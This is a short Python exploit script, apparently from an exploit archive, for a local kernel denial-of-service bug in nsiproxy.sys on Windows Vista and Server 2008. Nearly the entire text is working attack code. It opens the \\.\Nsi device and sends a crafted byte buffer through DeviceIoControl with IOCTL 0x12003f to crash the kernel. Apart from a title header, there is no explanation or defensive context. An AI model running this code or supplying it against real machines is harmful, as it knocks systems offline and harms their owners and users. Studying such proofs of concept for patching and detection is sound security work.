Microsoft Windows Vista/Server 2008 nsiproxy.sys Denial Of Service

`#!/usr/bin/python  
  
############################################################################  
##  
## Title: Microsoft Windows Vista/Server 2008 "nsiproxy.sys" Local Kernel DoS Exploit  
## Author: Lufeng Li of Neusoft Corporation  
## Vendor: www.microsoft.com  
## Vulnerable: Windows Vista/Server 2008  
##  
############################################################################  
from ctypes import *  
  
kernel32 = windll.kernel32  
Psapi = windll.Psapi  
  
if __name__ == '__main__':  
GENERIC_READ = 0x80000000  
GENERIC_WRITE = 0x40000000  
OPEN_EXISTING = 0x3  
CREATE_ALWAYS = 0x2  
  
SYM_NAME = "\\\\.\\Nsi"  
dwReturn = c_ulong()  
out_buff = ''  
in_buff = ("\x00\x00\x00\x00\x00\x00\x00\x00\xec\x2d\x39\x6e\x07\x00\x00\x00"  
"\x01\x00\x00\x00\x00\x00\x00\x00\x38\x89\x6c\x01\x08\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x10\xfa\x78\x00\x28\x00\x00\x00"  
"\x38\xfa\x78\x00\x0c\x00\x00\x00")  
  
handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)  
dev_ioct = kernel32.DeviceIoControl(handle, 0x12003f, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)  
  
`